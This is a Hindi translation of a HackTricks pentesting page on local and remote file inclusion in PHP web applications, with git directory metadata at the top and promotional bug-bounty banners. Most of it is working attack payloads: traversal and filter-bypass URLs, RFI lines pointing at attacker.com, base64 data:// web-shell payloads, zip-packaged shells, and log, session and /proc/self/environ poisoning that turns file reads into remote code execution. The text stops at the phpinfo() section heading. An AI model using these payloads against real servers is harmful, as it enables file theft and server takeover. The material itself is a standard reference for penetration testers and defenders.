hacktricks/pentesting-web/file-inclusion
2023-12-29 16:16:09 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated to Hindi 2023-11-06 08:38:02 +00:00
lfi2rce-via-eternal-waiting.md Translated to Hindi 2023-11-06 08:38:02 +00:00
lfi2rce-via-nginx-temp-files.md Translated to Hindi 2023-11-06 08:38:02 +00:00
lfi2rce-via-php-filters.md Translated ['pentesting-web/file-inclusion/lfi2rce-via-php-filters.md'] 2023-12-24 19:25:37 +00:00
lfi2rce-via-phpinfo.md Translated ['pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] to i 2023-12-24 19:13:27 +00:00
lfi2rce-via-segmentation-fault.md Translated to Hindi 2023-11-06 08:38:02 +00:00
lfi2rce-via-temp-file-uploads.md Translated to Hindi 2023-11-06 08:38:02 +00:00
phar-deserialization.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2023-12-26 03:49:11 +00:00
README.md Translated ['pentesting-web/file-inclusion/README.md'] to in 2023-12-29 16:16:09 +00:00
via-php_session_upload_progress.md Translated to Hindi 2023-11-06 08:38:02 +00:00

फाइल इनक्लूजन/पाथ ट्रैवर्सल

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इनसाइट्स
हैकिंग के रोमांच और चुनौतियों पर गहराई से जानकारी प्राप्त करें

रियल-टाइम हैक न्यूज
रियल-टाइम न्यूज और इनसाइट्स के माध्यम से हैकिंग की तेजी से बदलती दुनिया के साथ अपडेट रहें

नवीनतम घोषणाएँ
नवीनतम बग बाउंटीज लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

हमसे जुड़ें डिस्कॉर्ड पर और आज ही शीर्ष हैकर्स के साथ सहयोग शुरू करें!

फाइल इनक्लूजन

रिमोट फाइल इनक्लूजन (RFI): फाइल एक रिमोट सर्वर से लोड की जाती है (सबसे अच्छा: आप कोड लिख सकते हैं और सर्वर इसे निष्पादित करेगा). PHP में यह डिफ़ॉल्ट रूप से अक्षम है (allow_url_include).
लोकल फाइल इनक्लूजन (LFI): सर्वर एक स्थानीय फाइल लोड करता है।

यह भेद्यता तब होती है जब उपयोगकर्ता किसी तरह से उस फाइल को नियंत्रित कर सकता है जो सर्वर द्वारा लोड की जाने वाली है।

भेद्य PHP फंक्शन्स: require, require_once, include, include_once

इस भेद्यता का लाभ उठाने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap

ब्लाइंड - इंटरेस्टिंग - LFI2RCE फाइल्स

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाई है:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

/ को \ से बदलने का भी प्रयास करें
../../../../../ जोड़ने का भी प्रयास करें

फ़ाइल /etc/password को ढूँढने के लिए कई तकनीकों का उपयोग करने वाली सूची (जांचने के लिए कि कमजोरी मौजूद है या नहीं) यहाँ पाई जा सकती है

Windows

कई सूचियों को मिलाकर मैंने बनाई है:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

/ को \ से बदलने का भी प्रयास करें
C:/ को हटाकर ../../../../../ जोड़ने का भी प्रयास करें

फ़ाइल /boot.ini को ढूँढने के लिए कई तकनीकों का उपयोग करने वाली सूची (जांचने के लिए कि कमजोरी मौजूद है या नहीं) यहाँ पाई जा सकती है

OS X

Linux की LFI सूची की जांच करें।

मूल LFI और बाईपास

सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion के लिए भी लागू किए जा सकते हैं (page=http://myserver.com/phpshellcode.txt\

http://example.com/index.php?page=../../../etc/passwd

ट्रैवर्सल सीक्वेंसेज़ नॉन-रिकर्सिवली स्ट्रिप्ड

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

प्रदान किए गए स्ट्रिंग के अंत में और अक्षर जोड़ने को बायपास करें (बायपास: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो चुका है

एन्कोडिंग

आप डबल URL एन्कोड (और अन्य) जैसे गैर-मानक एन्कोडिंग्स का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

मौजूदा फोल्डर से

हो सकता है कि बैक-एंड फोल्डर पथ की जांच कर रहा हो:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फोल्डर्स की पहचान करना

एप्लिकेटिव कोड / अनुमत वर्णों के आधार पर, फाइल सिस्टम को पुनरावृत्ति से एक्सप्लोर करना संभव हो सकता है फोल्डर्स की खोज करके और सिर्फ फाइलों को नहीं। ऐसा करने के लिए:

  • आपकी वर्तमान डायरेक्टरी की "गहराई" की पहचान करें, सफलतापूर्वक /etc/passwd प्राप्त करके (यदि लिनक्स पर हो):
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  • वर्तमान डायरेक्टरी में एक फोल्डर का नाम अनुमान लगाने का प्रयास करें, फोल्डर का नाम जोड़कर (यहाँ, private), और फिर /etc/passwd पर वापस जाएँ:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
  • यदि एप्लिकेशन संवेदनशील है, तो अनुरोध के दो अलग-अलग परिणाम हो सकते हैं:
  • यदि आपको एक त्रुटि / कोई आउटपुट नहीं मिलता है, तो private फ़ोल्डर इस स्थान पर मौजूद नहीं है
  • यदि आपको /etc/passwd से सामग्री मिलती है, तो आपने यह सत्यापित किया है कि वास्तव में आपकी वर्तमान निर्देशिका में एक private फ़ोल्डर है
  • इस तकनीक का उपयोग करके आपने जो फ़ोल्डर(स) खोजे हैं, उन्हें फ़ाइलों के लिए (क्लासिक LFI विधि का उपयोग करके) या सबडायरेक्टरीज़ के लिए उसी तकनीक का पुनरावृत्ति से उपयोग करके fuzzed किया जा सकता है।

इस तकनीक को फ़ाइल सिस्टम में किसी भी स्थान पर निर्देशिकाओं को खोजने के लिए अनुकूलित किया जा सकता है। उदाहरण के लिए, यदि, उसी परिकल्पना के तहत (फ़ाइल सिस्टम की गहराई 3 पर वर्तमान निर्देशिका) आप /var/www/ में private निर्देशिका होने की जांच करना चाहते हैं, तो निम्नलिखित पेलोड का उपयोग करें:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

निम्नलिखित आदेशों का क्रम sed (1) का उपयोग करके payloads की उत्पत्ति के लिए अनुमति देता है, जिसे url fuzzing उपकरणों जैसे ffuf (2) के लिए इनपुट के रूप में इस्तेमाल किया जा सकता है:

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'

पथ संकोचन

प्रदान की गई स्ट्रिंग के अंत में और अधिक वर्णों को जोड़ने की प्रक्रिया को बायपास करें (बायपास का: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

हमेशा पथ को शुरू करने की कोशिश करें एक नकली डायरेक्टरी के साथ (a/).

यह कमजोरी PHP 5.3 में सही की गई थी।

फिल्टर बायपास ट्रिक्स

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

रिमोट फाइल इनक्लूजन

php में यह डिफ़ॉल्ट रूप से अक्षम होता है क्योंकि allow_url_include Off होता है। इसे काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फाइल इनक्लूड कर सकते हैं और RCE प्राप्त कर सकते हैं:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारण से allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को फ़िल्टरिंग कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं बेस64 के साथ एक b64 PHP कोड को डिकोड करने के लिए और RCE प्राप्त करने के लिए:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} पिछले कोड में, अंतिम +.txt को जोड़ा गया क्योंकि हमलावर को एक स्ट्रिंग की आवश्यकता थी जो .txt में समाप्त होती है, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह हिस्सा केवल अर्थहीन होगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)। {% endhint %}

php:// प्रोटोकॉल का उपयोग न करते हुए एक और उदाहरण होगा:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python मूल तत्व

Python में इस तरह के कोड में:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता file_name को एक संपूर्ण पथ पास करता है, तो पिछला पथ केवल हटा दिया जाता है:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह the docs के अनुसार इच्छित व्यवहार है:

यदि कोई घटक एक पूर्ण पथ है, तो सभी पिछले घटकों को फेंक दिया जाता है और पूर्ण पथ घटक से जोड़ना जारी रहता है।

Java सूची निर्देशिकाएँ

ऐसा लगता है कि यदि आपके पास Java में Path Traversal है और आप फ़ाइल के बजाय एक निर्देशिका के लिए पूछते हैं, तो निर्देशिका की सूची वापस कर दी जाती है। यह अन्य भाषाओं में नहीं होगा (जहाँ तक मुझे पता है)।

शीर्ष 25 पैरामीटर

यहाँ शीर्ष 25 पैरामीटरों की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) भेद्यताओं के लिए संवेदनशील हो सकते हैं (link से):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI का उपयोग करते हुए PHP wrappers & protocols

php://filter

PHP फिल्टर्स डेटा पर संशोधन कार्य करने की अनुमति देते हैं इसे पढ़ने या लिखने से पहले। फिल्टर्स की 5 श्रेणियाँ हैं:

  • स्ट्रिंग फिल्टर्स:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग्स हटाएं (जो कुछ भी "<" और ">" वर्णों के बीच में है)
  • ध्यान दें कि यह फिल्टर आधुनिक PHP संस्करणों से गायब हो गया है
  • रूपांतरण फिल्टर्स
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : एक अलग एन्कोडिंग में परिवर्तित करता है(convert.iconv.<input_enc>.<output_enc>)। समर्थित सभी एन्कोडिंग्स की सूची प्राप्त करने के लिए कंसोल में चलाएँ: iconv -l

{% hint style="warning" %} convert.iconv.* रूपांतरण फिल्टर का दुरुपयोग करके आप मनमाना पाठ उत्पन्न कर सकते हैं, जो कि मनमाना पाठ लिखने या किसी फंक्शन को मनमाना पाठ प्रक्रिया करने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए LFI2RCE via php filters देखें। {% endhint %}

  • संपीड़न फिल्टर्स
  • zlib.deflate: सामग्री को संपीड़ित करें (बहुत सारी जानकारी निकालने के लिए उपयोगी)
  • zlib.inflate: डेटा को डिकंप्रेस करें
  • एन्क्रिप्शन फिल्टर्स
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • अन्य फिल्टर्स
  • PHP में var_dump(stream_get_filters()); चलाने से आप कुछ अप्रत्याशित फिल्टर्स पा सकते हैं:
  • consumed
  • dechunk: HTTP chunked encoding को उलट देता है
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} भाग "php://filter" केस इन्सेंसिटिव है {% endhint %}

php://fd

यह रैपर प्रक्रिया द्वारा खोले गए फाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है। खुली हुई फाइलों की सामग्री को बाहर निकालने के लिए संभावित रूप से उपयोगी:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

zip:// और rar://

Zip या Rar फ़ाइल को PHPShell के साथ अपलोड करें और उसे एक्सेस करें।
rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

मजेदार तथ्य: आप http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+ का उपयोग करके XSS ट्रिगर कर सकते हैं और Chrome Auditor को बायपास कर सकते हैं।

ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open और allow_url_include द्वारा प्रतिबंधित है।

expect://

Expect को सक्रिय किया जाना चाहिए। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं।

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST पैरामीटर्स में अपना पेलोड निर्दिष्ट करें

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

.phar फाइल का उपयोग PHP कोड को निष्पादित करने के लिए भी किया जा सकता है यदि वेब किसी फंक्शन जैसे include का उपयोग करके फाइल को लोड कर रहा है।

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();
और आप निम्नलिखित पंक्ति को निष्पादित करके `phar` को संकलित कर सकते हैं:
php --define phar.readonly=0 create_path.php

test.phar नामक फाइल बनाई जाएगी जिसका उपयोग आप LFI का दुरुपयोग करने के लिए कर सकते हैं।

यदि LFI केवल फाइल को पढ़ रहा है और उसमें मौजूद php कोड को नहीं चला रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()** का उपयोग करते हुए।** आप phar प्रोटोकॉल का उपयोग करते हुए फाइल को पढ़ने पर होने वाले डिसीरियलाइजेशन का दुरुपयोग करने की कोशिश कर सकते हैं।
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

और प्रोटोकॉल

यहाँ और संभावित प्रोटोकॉल शामिल करने के लिए:

  • php://memory और php://temp — मेमोरी या एक अस्थायी फाइल में लिखें (फाइल इनक्लूजन अटैक में यह कैसे उपयोगी हो सकता है इसका निश्चित नहीं हूँ)
  • file:// — स्थानीय फाइल सिस्टम तक पहुँच
  • http:// — HTTP(s) URLs तक पहुँच
  • ftp:// — FTP(s) URLs तक पहुँच
  • zlib:// — संपीड़न स्ट्रीम्स
  • glob:// — पैटर्न से मेल खाते पथनाम खोजें (यह कुछ भी प्रिंट करने योग्य नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
  • ssh2:// — सिक्योर शेल 2
  • ogg:// — ऑडियो स्ट्रीम्स (मनमानी फाइलें पढ़ने के लिए उपयोगी नहीं)

PHP के 'assert' के माध्यम से LFI

यदि आपको एक कठिन LFI का सामना करना पड़ता है जो ".." जैसे ट्रैवर्सल स्ट्रिंग्स को फिल्टर कर रहा है और "Hacking attempt" या "Nice try!" जैसे संदेशों के साथ प्रतिक्रिया दे रहा है, तो 'assert' इंजेक्शन पेलोड काम कर सकता है।

इस तरह का पेलोड:

' and die(show_source('/etc/passwd')) or '

सफलतापूर्वक PHP कोड का दोहन करेगा जिसमें "file" पैरामीटर इस प्रकार दिखता है:

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

यह संभव है कि एक संवेदनशील "assert" कथन में system() फ़ंक्शन का उपयोग करके RCE प्राप्त किया जा सके:

' and die(system("whoami")) or '

Payloads को भेजने से पहले उन्हें URL-encode अवश्य करें।

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

Hacking Insights
हैकिंग के रोमांच और चुनौतियों पर गहराई से जानकारी प्राप्त करें

Real-Time Hack News
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अपडेट रहें

Latest Announcements
नवीनतम बग बाउंटीज़ के लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

Discord पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

PHP Blind Path Traversal

{% hint style="warning" %} यह तकनीक उन मामलों में प्रासंगिक है जहां आप file path को नियंत्रित करते हैं जिसे एक PHP function access करेगा लेकिन आप फाइल की सामग्री नहीं देख पाएंगे (जैसे कि file() के साधारण कॉल) लेकिन सामग्री दिखाई नहीं देती है। {% endhint %}

इस अद्भुत पोस्ट में बताया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फिल्टर के माध्यम से दुरुपयोग किया जा सकता है ताकि एक एरर ऑरेकल के माध्यम से फाइल की सामग्री को बाहर निकाला जा सके

संक्षेप में, तकनीक "UCS-4LE" encoding का उपयोग करके फाइल की सामग्री को इतना बड़ा बना देती है कि PHP function जो फाइल को खोल रहा है वह एक एरर ट्रिगर करेगा।

फिर, पहले चर को लीक करने के लिए फिल्टर dechunk का उपयोग किया जाता है और अन्य जैसे कि base64 या rot13 के साथ और अंत में फिल्टर्स convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके अन्य चरों को शुरुआत में रखा जाता है और उन्हें लीक किया जाता है

Functions जो संभवतः संवेदनशील हो सकते हैं: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (केवल इसके साथ टारगेट रीड ओनली), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

तकनीकी विवरण के लिए उल्लिखित पोस्ट देखें!

LFI2RCE

Remote File Inclusion

पहले समझाया गया, इस लिंक का अनुसरण करें.

Via Apache/Nginx log file

यदि Apache या Nginx सर्वर LFI के लिए संवेदनशील है तो आप इनक्लूड फंक्शन के अंदर /var/log/apache2/access.log या /var/log/nginx/access.log तक पहुंचने का प्रयास कर सकते हैं, user agent में या GET पैरामीटर के अंदर एक php शेल जैसे <?php system($_GET['c']); ?> सेट करें और उस फाइल को इनक्लूड करें

{% hint style="warning" %} ध्यान दें कि यदि आप शेल के लिए सिंपल कोट्स के बजाय डबल कोट्स का उपयोग करते हैं, तो डबल कोट्स को स्ट्रिंग "quote;" के लिए संशोधित किया जाएगा, PHP एक एरर फेंकेगा और कुछ भी और नहीं चलेगा

साथ ही, सुनिश्चित करें कि आप payload को सही तरीके से लिखें या PHP हर बार जब लॉग फाइल को लोड करने की कोशिश करेगा तो एरर करेगा और आपको दूसरा मौका नहीं मिलेगा। {% endhint %}

यह अन्य लॉग्स में भी किया जा सकता है लेकिन सावधान रहें, लॉग्स के अंदर का कोड URL encoded हो सकता है और यह शेल को नष्ट कर सकता है। हेडर authorisation "basic" में "user:password" Base64 में होता है और यह लॉग्स के अंदर डिकोड होता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।
अन्य संभावित लॉग पथ:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

ईमेल के माध्यम से

एक मेल भेजें आंतरिक खाते (user@localhost) पर अपना PHP पेलोड <?php echo system($_REQUEST["cmd"]); ?> के साथ और /var/mail/<USERNAME> या /var/spool/mail/<USERNAME> जैसे पथ का उपयोग करके उपयोगकर्ता के मेल को शामिल करने का प्रयास करें।

/proc/*/fd/* के माध्यम से

  1. बहुत सारे शेल्स अपलोड करें (उदाहरण के लिए: 100)
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD को शामिल करें, जहाँ $PID = प्रक्रिया का PID (जिसे ब्रूट फोर्स किया जा सकता है) और $FD फाइल डिस्क्रिप्टर (जिसे भी ब्रूट फोर्स किया जा सकता है)।

/proc/self/environ के माध्यम से

लॉग फाइल की तरह, पेलोड को User-Agent में भेजें, यह /proc/self/environ फाइल के अंदर प्रतिबिंबित होगा।

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के माध्यम से

यदि आप फ़ाइल अपलोड कर सकते हैं, तो बस उसमें शेल पेलोड इंजेक्ट करें (उदाहरण: <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

फ़ाइल को पठनीय बनाए रखने के लिए सबसे अच्छा है कि चित्रों/दस्तावेज़/पीडीएफ के मेटाडेटा में इंजेक्ट किया जाए

ज़िप फ़ाइल अपलोड के माध्यम से

एक ज़िप फ़ाइल अपलोड करें जिसमें एक PHP शेल संकुचित हो और पहुँचें:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP सेशन के माध्यम से

जांचें कि क्या वेबसाइट PHP सेशन (PHPSESSID) का उपयोग करती है

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये सत्र /var/lib/php5/sess\[PHPSESSID]_ फाइलों में संग्रहीत किए जाते हैं

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

कुकी को <?php system('cat /etc/passwd');?> में सेट करें।

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI का उपयोग करके PHP सत्र फ़ाइल को शामिल करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh के माध्यम से

यदि ssh सक्रिय है, तो जांचें कि कौन सा उपयोगकर्ता प्रयोग किया जा रहा है (/proc/self/status & /etc/passwd) और प्रयास करें <HOME>/.ssh/id_rsa तक पहुंचने का।

vsftpd लॉग्स के माध्यम से

इस FTP सर्वर के लॉग /var/log/vsftpd.log में संग्रहीत होते हैं। यदि आपके पास LFI है और आप एक उजागर vsftpd सर्वर तक पहुंच सकते हैं, तो आप उपयोगकर्ता नाम में PHP पेलोड सेट करके लॉगिन करने का प्रयास कर सकते हैं और फिर LFI का उपयोग करके लॉग्स तक पहुंच सकते हैं।

php base64 फिल्टर के माध्यम से (base64 का उपयोग करते हुए)

इस लेख में दिखाया गया है, PHP base64 फिल्टर Non-base64 को अनदेखा कर देता है। आप इसका उपयोग फाइल एक्सटेंशन जांच को बायपास करने के लिए कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" के साथ समाप्त होता है, तो यह केवल "." को अनदेखा कर देगा और base64 के अंत में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php फिल्टर्स के माध्यम से (फाइल की आवश्यकता नहीं)

यह writeup बताता है कि आप php फिल्टर्स का उपयोग करके मनमानी सामग्री को आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मूल रूप से यह मतलब है कि आप बिना फाइल में लिखे include के लिए मनमानी php कोड उत्पन्न कर सकते हैं

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

सेगमेंटेशन फॉल्ट के माध्यम से

अपलोड करें एक फाइल जो /tmp में अस्थायी रूप से संग्रहीत होगी, फिर उसी अनुरोध में, एक सेगमेंटेशन फॉल्ट ट्रिगर करें, और फिर अस्थायी फाइल हटाई नहीं जाएगी और आप उसे खोज सकते हैं।

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Nginx अस्थायी फाइल संग्रहण के माध्यम से

यदि आपने Local File Inclusion पाया है और Nginx PHP के सामने चल रहा है तो आप निम्नलिखित तकनीक से RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

PHP_SESSION_UPLOAD_PROGRESS के माध्यम से

यदि आपने Local File Inclusion पाया है भले ही आपके पास सत्र न हो और session.auto_start Off हो। यदि आप PHP_SESSION_UPLOAD_PROGRESS को multipart POST डेटा में प्रदान करते हैं, PHP आपके लिए सत्र सक्षम कर देगा। आप इसका दुरुपयोग RCE प्राप्त करने के लिए कर सकते हैं:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Windows में अस्थायी फाइल अपलोड्स के माध्यम से

यदि आपने Local File Inclusion पाया है और सर्वर Windows में चल रहा है तो आप RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

phpinfo() के माध्यम से (file_uploads = on)

